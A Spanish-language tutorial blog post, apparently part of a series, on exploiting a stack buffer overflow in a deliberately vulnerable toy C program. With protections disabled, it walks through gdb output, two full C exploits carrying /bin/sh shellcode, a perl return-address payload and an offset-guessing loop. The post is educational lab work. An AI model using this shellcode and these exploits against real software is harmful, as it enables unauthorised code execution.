Exploitation: Stack Overflow II

Siguiendo con el ejemplo de la entrada anterior, vamos a demostrar un par de métodos para ejecutar nuestro propio código tras explotar una vulnerabilidad de tipo stack overflow. A lo largo de esta entrada haremos uso de lo que se conoce como shellcode. De momento haremos un acto de fe y nos creeremos que ese chorro de bytes ejecuta el código que nos dicen. Más adelante dedicaremos un par de entradas a explicar las shellcodes, qué son, cómo se programan y qué hace falta saber para hacerlo.

Para poder seguir estos ejemplos es importante deshabilitar el ASLR (Address Space Layout Randomization), el stack NX (pila no ejecutable) y el SSP (Smashing Stack Protector). Para desactivar el ASLR, como root (o con sudo) ejecutaremos lo siguiente:

root@Andromeda-virt:~/exploiting# sysctl -w kernel.randomize_va_space=0

Tanto el SSP como el NX son opciones del compilador. Basta con compilar nuestro programa vulnerable de la siguiente forma:

adrian@Andromeda-virt:~/exploiting$ gcc -fno-stack-protector -z execstack -o sovf stack_overflow.c

Como ya he comentado anteriormente, al final de esta serie de artículos, exploraremos este tipo de protecciones y veremos qué se puede hacer con cada una de ellas, pero de momento vamos a hacer trampas y a deshabilitarlas 😉

Usando el entorno

Una forma de almacenar nuestro código para su posterior ejecución consiste en utilizar variables de entorno. Las variables de entorno se almacenan en la pila, por lo que es relativamente fácil obtener su dirección. De hecho, si miramos la pila completa de un proceso cualquiera.


~/exploiting$ gdb -q sovf

(gdb) br main
Punto de interrupción 1 at 0x804856d: file stack_overflow.c, line 27.
(gdb) run AABB
Starting program: /home/adrian/exploiting/sovf AABB

Breakpoint 1, main (argc=2, argv=0xbffff534) at stack_overflow.c:27
27       if (argc > 1)

(gdb) x/10s $sp+556
0xbffff69c:     "/home/adrian/exploiting/sovf"
0xbffff6b9:     "AABB"
0xbffff6be:     "ORBIT_SOCKETDIR=/tmp/orbit-adrian"
0xbffff6e0:     "SSH_AGENT_PID=1307"
0xbffff6f3:     "SHELL=/bin/bash"
0xbffff703:     "TERM=xterm"
0xbffff70e:     "XDG_SESSION_COOKIE=81633471ce2a825a8e7fccd64b655122-1267469914.799642-1915323074"
0xbffff75f:     "GTK_RC_FILES=/etc/gtk/gtkrc:/home/adrian/.gtkrc-1.2-gnome2"
0xbffff79a:     "WINDOWID=65012725"
0xbffff7ac:     "GTK_MODULES=canberra-gtk-module"

Dos cosas a resaltar de esto. En primer lugar, que en la pila, mucho más abajo de donde comienza la pila del programa a ejecutar, se encuentran las variables de entorno. En segundo lugar, que entre las variables de entorno se encuentran el nombre del programa que se está ejecutando (“/home/adrian/exploiting/sovf”) y el argumento que recibe (“AABB”). Lo único que necesitamos hacer, si recordáis el artículo anterior, es colocar en una variable de entorno nuestra shellcode, localizar su dirección, y sobreescribir la dirección de retorno de la pila con ella. A modo de recordatorio, el código que vamos a explotar es el que muestro a continuación. Es idéntico al de la entrada anterior, salvo que se le ha añadido un bucle for para mostrar por pantalla el contenido del buffer tras haber sido sobreescrito.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void sayhi(char* name){
 char name_buffer[20];
 unsigned char* ptr;
 unsigned int i;

 strcpy(name_buffer, name);

 printf("DEBUG: name_buffer localizado en 0x%08x\n", (unsigned int)&name_buffer);
 ptr = name_buffer;

 printf("DEBUG: contenido del buffer: \n");
 for(i=0;i<40;i++){
   printf(" %2x  ",*(ptr+i));
   if ((i%16)==15)
     printf("\n");
 }
 printf("\n");
 printf("Bienvenido al sistema, %s\n",name);
}

int main(int argc, char* argv[]){

 if (argc > 1)
   sayhi(argv[1]);
 else
   exit(0);

 return 0;
}

Para calcular la posición en la que se encontrará nuestra SHELLCODE en la pila, utilizaremos una pequeña utilidad en C que hace uso de la llamada al sistema getenv y ajusta según la longitud del nombre del programa a ejecutar. En esencia, calcula la posición de la variable en esa ejecución y ajusta la diferencia con el nombre del programa que queremos explotar para averiguar la posición de la variable en ese nuevo entorno. Es muy sencillo, pero para no detenernos ahora, si no lo entendéis no os preocupéis, cuando hablemos de las shellcodes explicaremos esto más a fondo. Basta con saber que nos da la dirección de memoria en la que se hallará la variable de entorno cuando ejecutemos nuestro programa.


adrian@Andromeda-virt:~/exploiting$ export SHELLCODE=$(cat shellcode)
adrian@Andromeda-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6eb
adrian@Andromeda-virt:~/exploiting$ ./sovf $(perl -e 'print "\xeb\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff3b4
DEBUG: contenido del buffer:
 eb   f6   ff   bf   eb   f6   ff   bf   eb   f6   ff   bf   eb   f6   ff   bf
 eb   f6   ff   bf   b4   f3   ff   bf   18    0    0    0   eb   f6   ff   bf
 eb   f6   ff   bf   eb   f6   ff   bf
Bienvenido al sistema, �[1��C��C
 ��S
 �
 $ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(adrian)

Y obtenemos una shell. Obviamente no es una shell de root, ya que el código que ejecutemos al explotar una vulnerabilidad correrá con los privilegios que tuviera el programa explotado.

Utilizando el propio buffer

Otro lugar donde podemos colocar nuestro shellcode es en el propio buffer del que tenemos control. Para este ejemplo, hemos ampliado el buffer que contiene el nombre a 100 caracteres, de tal forma que podamos insertar nuestro shellcode y explicar la técnica. Escribiremos nuestro propio exploit en C para este caso.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
 "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
 "\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
 "\x6e\x2f\x73\x68";

int main(int argc, char *argv[]) {
 unsigned int ref, *ptr, ret, offset;
 char *execline, *buffer;

 execline = (char *) malloc(170);
 memset(execline, 0, 170);

 strcpy(execline, "./sovf \'");
 buffer = execline + strlen(execline);

 if(argc < 1){
 printf("Uso: %s <offset>\n",argv[0]);
 exit(0);
 }else
 offset = atoi(argv[1]);

 ret = (unsigned int) &ref - offset;

 for(ref=0; ref < 160; ref+=4)
 *((unsigned int *)(buffer+ref)) = ret;

 memset(buffer, 0x90, 40);
 memcpy(buffer+40, shellcode, sizeof(shellcode)-1);

 strcat(execline, "\'");

 system(execline);
 free(execline);
}

El código debería ser legible para los que sepáis un poco de C. Aquellos que no, no sé a qué esperáis para aprender 😉 El exploit construye en execline la llamada que va a realizar a nuestro programa vulnerable. En primer lugar coloca el nombre (./sovf ‘), seguido de 40 NOPs (0x90), seguidos de nuestra shellcode (36 bytes) y finalizando con la dirección de retorno veinte veces. Recapitulando, nos queda:

[ ./sovf ‘ | 40xNOP | SHELLCODE (36) | RETx20 | ‘]

¿Y cómo hemos obtenido la dirección de retorno? Utilizamos una variable de referencia (ref), y usamos su dirección de memoria (en la pila) menos un offset, para calcular más o menos, la dirección de nuestro shellcode en memoria. Esto quiere decir que nuestras variables de pila (entre ellas ref) estarán debajo de las del programa que vamos a explotar, puesto que nuestro exploit se ejecuta primero. Con esta idea, es fácil ver que la dirección de nuestra referencia (ref), menos una cantidad desconocida a priori (offset) será igual a la dirección de memoria del buffer_name, que es donde estará cargado nuestro shellcode. El cálculo de ese offset desconocido se puede realizar desde la shell, con un sencillo bucle que pruebe varios valores:


for i in $(seq 0 40 300); do echo "Offset vale $i"; ./a.out $i; done

Con esta prueba determinamos que uno de los valores válidos es 280. Hay más valores de offset que funcionan, como por ejemplo 240 o 260. ¿Por qué? Pues porque debido a la imprecisión de este cálculo, y para facilitar que acertemos con la dirección de retorno, nuestro buffer contiene un colchón inicial de instrucciones NOP (0x90). Estas instrucciones no hacen nada, el procesador las ejecuta sin que realicen ninguna operación ni altereren su estado lo más mínimo, salvo el EIP claro, que va avanzando de instrucción a instrucción. Por lo tanto, nos basta con acertar en cualquiera de los NOPs que hemos cargado en memoria para que, al final, el procesador ejecute nuestro shellcode.

Aunque esto es funcional, es poco elegante. Conociendo un poco el funcionamiento de Linux, podemos afinar aún más en la realización de nuestro exploit, reduciendo así el número de bytes necesarios para introducir nuestro shellcode. En primer lugar, hay que saber que las direcciones de memoria asignadas a la pila en Linux comienzan en la 0xbffffffa. En segundo lugar, conviene conocer la llamada al sistema execle, que permite configurar el entorno del programa a ejecutar. Además recordad lo que hemos dicho al principio de esta entrada: el nombre del programa y sus argumentos están en la pila.

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b"
"\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

int main(int argc, char* argv[]){
 int i;
 unsigned int ret;
 char *env[2] = {shellcode, NULL};
 char *buffer = (char *) malloc(166);

 ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./sovf");

 for (i=0;i<160;i+=4)
 *((unsigned int *)(buffer + i)) = ret;

 execle("./sovf","sovf", buffer, NULL, env);
 free(buffer);
 return 0;
}

El “truco” de este exploit es el array env[], cuyo único contenido es nuestro shellcode. Este array se pasa como entorno del programa vulnerable mediante la llamada a execle. Puesto que lo único que contiene el entorno es nuestro shellcode (más el nombre del programa y los argumentos), es sencillo obtener la dirección exacta de nuestro shellcode en memoria. Basta con restarle al comienzo de la pila (0xbffffffa) el tamaño del shellcode y del nombre del programa. Ahora que ya tenemos la dirección de retorno, el resto del exploit es igual, consiste en crear un buffer con la dirección de retorno repetida cuarenta veces, para asegurarnos de que sobreescribimos el valor de la pila.

Con esto cerramos el tema del stack overflow, pero no la serie de exploiting, de la que seguiré poniendo artículos sobre los shellcodes, así como otras vulnerabilidades clásicas más allá del stack overflow como puede ser el format string, y algunos métodos para tomar control del programa mediante el uso de secciones específicas del binario. Como ya he dicho otras veces, lo más básico primero, y luego iremos viendo ;). Si tenéis alguna duda o apunte, por favor, dejad un comentario

Anuncios
Tagged with: , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: